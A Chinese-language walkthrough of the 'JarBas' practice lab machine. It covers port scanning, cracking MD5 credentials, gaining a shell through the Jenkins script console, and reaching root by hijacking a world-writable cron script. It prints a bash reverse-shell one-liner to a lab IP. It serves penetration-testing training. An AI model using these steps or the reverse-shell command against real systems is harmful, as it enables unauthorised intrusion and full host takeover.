JarBas靶场
内置jenkins
管理系统框架
信息收集
-
通过使用nmap扫描内网网段,确定靶机ip为192.168.78.160,开放22,80,3306,8080端口。优先级在前的肯定还是web网站,先对80和8080网站进行查看
-
对80端口网页进行目录扫描,发现存在access.html文件
-
访问发现8080端口是一个
jenkins
内容管理系统框架,而且是登录界面
web渗透
- 访问目录扫描到的access.html文件,发现三行内容,很容易想到这就是登录使用的账号和被md5加密的密码
- 使用md5解密工具,对加密内容进行解密获取账号密码
- 经过测试发现eder账户可以成功登录到后台
- 通过在网上寻找jenkins后台getshell了解到,该框架存在未授权访问漏洞,可以获取shell
(81条消息) Jenkins未授权访问漏洞复现与 getshell 利用方法汇总_jenkins漏洞利用_W小哥1的博客-CSDN博客
- 点击系统管理,找到脚本命令行功能,可以在此执行命令。执行命令下载远程服务器的反弹shell的php文件,下载到/tmp文件夹下
- 使用命令执行/tmp/2.php文件,提前在kali主机进行监听
- 来到kali界面,发现成功获取了shell
权限提升
- 尝试进行suid和sudo -l信息查看,发现没有可以利用的提权信息。在不先考虑内核漏洞和系统漏洞前提下,查看一下是否存在定时任务
- 查看定时任务文件,发现真存在一个每五分钟使用root权限执行的一个脚本文件
- 查看一下该脚本的内容,然后在查看一下脚本的权限,发现是777权限,证明说用户都可以对其进行读写执行权限
- 直接对该脚本文件写入反弹shell的命令,等待执行监听即可
echo "/bin/bash -i >& /dev/tcp/192.168.78.145/7778 0>&1" >> 文件名
- 五分钟内成功接受到了反弹shell,返回root权限用户
- 直接来到root目录下查看flag
渗透流程
使用nmap扫描得到了80和8080端口开放,22端口优先级不如web,所以先进行web渗透,通过目录扫描得到了可用于8080端口网站登录的账号密码的网页,成功登陆之后,发现是jenkins框架,寻找一下历史漏洞,发现可以利用的未授权访问漏洞可以getshell,根据所给步骤成功获取了shell,常见的靶机提权无非就是sudo -l,suid和定时任务了,本次使用的提权是很简单的定时任务提权,只需要写入反弹shell的命令即可等待监听获取root权限的shell
靶机总结
- 本次靶机学习到了关于jenkins框架的未授权访问漏洞getshell的操作步骤,善于搜索对应的cms漏洞是很多web渗透的成功前提
- 本次提权又使用到了定时任务提权,也是依旧简单给的很明显,只需要写入反弹shell命令即可